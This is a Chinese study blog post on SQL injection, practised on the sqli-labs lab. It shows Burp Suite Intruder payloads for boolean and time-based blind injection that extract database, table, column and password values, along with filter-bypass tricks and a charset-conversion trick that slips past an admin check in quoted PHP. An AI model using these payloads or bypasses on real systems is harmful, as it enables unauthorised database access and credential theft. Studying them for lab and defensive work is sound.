zoukankan      html  css  js  c++  java
  • 学习BurpSuite半自动化盲注和一些小总结

    0x00 前言

    看了几篇文章,感觉对自己启发很大(其实就是太菜了学习了一下),来记录一下收获。
    先贴上文章链接,下文中内容很多会和文章里的思路一样,毕竟都是老知识点了233.

    https://xz.aliyun.com/t/7169#toc-23

    https://xz.aliyun.com/t/6595#toc-7

    http://www.langzi.fun/Sql注入之盲注.html

    http://www.langzi.fun/SQL注入基础笔记.html

    https://www.freebuf.com/articles/web/30841.html

    https://segmentfault.com/a/1190000018748071?utm_source=tag-newest

    0x01 使用字典fuzz

    这里我用的是sqli-labs第一关环境。
    因为是最简单的,没啥过滤。。只是用来记录一下步骤。
    字典用的是网上开源的字典。
    FUZZ结束后首先确定回显位置:
    3正常,4报错,说明存在3个字段

    http://127.0.0.1:88/sqli-labs/Less-1/?id=-1'union seleCt 1,2,3--+
    看到回显是2

    这里的话我们需要进行跨库操作,所以要查询一下所有的数据库,如果不需要跨库,我们直接在后面的查询字段中使用‘database’来带入我们的注入语句就行。
    查询数据库
    http://127.0.0.1:88/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
    到此我们的准备工作算是完成啦,我们要对
    security数据库来进行注入
    这里我在用bp莫名出现了一些问题。。在设置数字时会出现bug,先说思路吧。。

    0x02 BurpSuite半自动化盲注

    这里首先明确一点,我们都需要手注来确定我们需要的数据库和表字段的长度。
    假设我们已经通过下面的盲注语句获得了数据库名长度

    " or (length(database())=5)--+正常
    ?id=1%27and%20left(database(),1)>%27a%27--+
    

    我们可以这样来使用bp来进行注入:


    为了省去转换字符并减少爆破时间,可以选择不使用ascii()函数,第二个变量的爆破类型改成Simple list如:爆库

    payload

    " or (substr(database(),§1§,1)='§a§')--+
    



    思路就是这样了,不想重复写了下面的就是payload换了一下,
    一定要事先确认我们想要获得的数据的长度,这样bp设置payload数字才准确

    爆表

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
    

    爆字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
    

    爆数据

    " or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+
    

    与爆库的不同之处就是payload和结果长度,改一下

    0x03 小知识点

    这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233

    使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据

    SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset
    

    LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。
    LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。
    如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

    初始记录行的偏移量是 0(而不是 1): 
    比如:

    SELECT * FROM table LIMIT 5,10;  // 检索记录行 6-15,从5+1开始算

    SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.从95+1开始算
    //如果只给定一个参数,它表示返回最大的记录行数目:

    SELECT * FROM table LIMIT 5;     //检索前 5 个记录行

    //换句话说,LIMIT n 等价于 LIMIT 0,n
    我们再来看一下我们的上面用到的
    爆表

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
    

    解释:从第一行开始检索,返回前面1行(0+1)。
    如果我们想要爆破第二张表(这里只是随便举例,一般就1张表里面多个字段)

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),§1§,1))=§32§)--+
    

    解释:从第二行开始检索,返回前面2行(1+1)。

    爆字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
    

    爆破字段,当我们手动盲注这里他表里可能有多个字段,我们分别对这几个字段先猜测长度:

    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常

    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常

    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常

    所以user_2表的数据字段长度分别为2、8、8
    猜出来长度再进行爆破具体字段名:

    第一个字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回显" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回显

    所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。

    猜第二个字段把limit 0,1改为limit 1,1

    猜第三个字段把limit 0,1改为limit 2,1

    以上就是limit在盲注中的作用,后面在学习中还有其他的知识点会补充进来。

    逗号被过滤/拦截

    改用盲注
    使用join语句代替
    substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4

    其他系统关键字被过滤/拦截

    双写绕过关键字过滤
    使用同义函数/语句代替,如if函数可用case when condition then 1 else 0 end语句代替。

    单双引号被过滤/拦截/转义

    需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入。
    不需要跳出单引号的情况:字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
    其他更多的绕过过滤参考上面的文章:

    https://xz.aliyun.com/t/7169#toc-1

    一个有趣的编码转换导致的注入:

    再强调一下原文出处,这个文章写的太好啦:

    https://xz.aliyun.com/t/7169#toc-1
    gbk已经是一个老生常谈的问题,还有一个就是latin1造成的编码问题

    <?php//该代码节选自:离别歌's blog$mysqli = new mysqli("localhost", "root", "root", "cat");
    
    /* check connection */if ($mysqli->connect_errno) {
        printf("Connect failed: %s
    ", $mysqli->connect_error);
        exit();}
    
    $mysqli->query("set names utf8");
    
    $username = addslashes($_GET['username']);
    
    //我们在其基础上添加这么一条语句。if($username === 'admin'){
        die("You can't do this.");}
    
    /* Select queries return a resultset */$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
    
    if ($result = $mysqli->query( $sql )) {
        printf("Select returned %d rows.
    ", $result->num_rows);
    
        while ($row = $result->fetch_array(MYSQLI_ASSOC))
        {
            var_dump($row);
        }
    
        /* free result set */
        $result->close();} else {
        var_dump($mysqli->error);}
    
    $mysqli->close();?>
    

    建表语句如下:

    CREATE TABLE `table1` (
      `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
      `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
      `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
      PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
    

    我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。

    我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');

    我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。

    我们注意到:$mysqli->query("set names utf8");这么一行代码,在连接到数据库之后,执行了这么一条SQL语句。

    set names utf8;相当于:

    mysql>SET character_set_client ='utf8';
    mysql>SET character_set_results ='utf8';
    mysql>SET character_set_connection ='utf8';
    

    PHP的编码是UTF-8,而我们现在设置的也是UTF-8,怎么会产生问题呢?
    SQL语句会先转成character_set_client设置的编码。但,他接下来还会继续转换。character_set_client客户端层转换完毕之后,数据将会交给character_set_connection连接层处理,最后在从character_set_connection转到数据表的内部操作字符集。

    因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

    来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1

    这里需要讲一下UTF-8编码的一些内容。
    一字节时范围是[00-7F]
    两字节时范围是[C0-DF][80-BF]
    三字节时范围是[E0-EF][80-BF][80-BF]
    四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

    然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

    所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。

    利用这一特性,我们输入:?username=admin%c2,%c2是一个Latin1字符集不存在的字符。

    但是,这里还有一个Trick:Mysql所使用的UTF-8编码是阉割版的,仅支持三个字节的编码。所以说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF。

    而对于不完整的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。

    总结手动盲注步骤

    上面基本都提过了,但是还是写一下
    我们先来总结一下函数:

    left()函数

    left(database(),1)>'s'
    left(database(),1)='s'
    Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位

    substr()函数

    substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1)='a'
    substr(a,b,c)从b位置开始,截取字符串a的c长度。

    mid()函数

    mid((select user limit 0,1)0,1)='s'
    mid(a,b,c)从位置b开始,截取a字符串的第c位

    注意substr()与mid()函数,第一个是截取x个长度,第二个是截取第x位.

    ascii()函数

    ascii('a')=65
    ascii(substr(select * from user limit 0,1)1,1)=62
    ascii(substr((select database()),1,1))=98
    Ascii()将某个字符转换为ascii值,结合substr一起使用可以来判断括号条件内首字母对应的ascii码大小,然后判断首字母是什么

    ord()函数

    Ord()函数同ascii(),将字符转为ascii值
    ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98
    ord与mid函数同样可以结合在一起使用,与上面类似

    一、基于布尔的盲注:

    1.判断是否存在注入,注入是字符型还是数字型,例:1 or 1=1,1' or '1'='1
    2.猜解当前数据库名,例:猜长度 and length(database())=1 #,逐个猜字符and ascii(substr(databse(),1,1))>97#
    3.猜解数据库中的表名,例:猜表数量  and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,逐个猜表名长度and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,再逐个猜表名字符 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
    4.猜解表中的字段名,例:猜字段数量and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,逐个猜字段长度and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,再逐个猜字段字符(可用二分法)
    5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)
    

    二、基于时间的盲注(对于没有任何输出可作为判断依据的可采用此法,感觉到明显延迟,则说明猜中):

    
    1.判断是否存在注入,注入是字符型还是数字型,例:and sleep(5) #
    2.猜解当前数据库名,例:猜长度 and if(length(database())=1,sleep(5),1) # ,逐个猜字符 and if(ascii(substr(database(),1,1))>97,sleep(5),1)
    3.猜解数据库中的表名,例:猜表数量 and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#,逐个猜表名长度 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1),再逐个猜表名字符 
    4.猜解表中的字段名,例:猜字段数量 and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#,逐个猜字段长度 and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # ,再逐个猜字段字符(可用二分法)
    5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)
    
  • 相关阅读:
    定时器
    sortable.js 华丽丽的排序
    jqGrid一些操作
    session 共享
    数组排序 和 二分法查找
    关于map
    文件导入
    文件导出
    文件下载
    float 保留两位小数
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12571206.html
Copyright © 2011-2022 走看看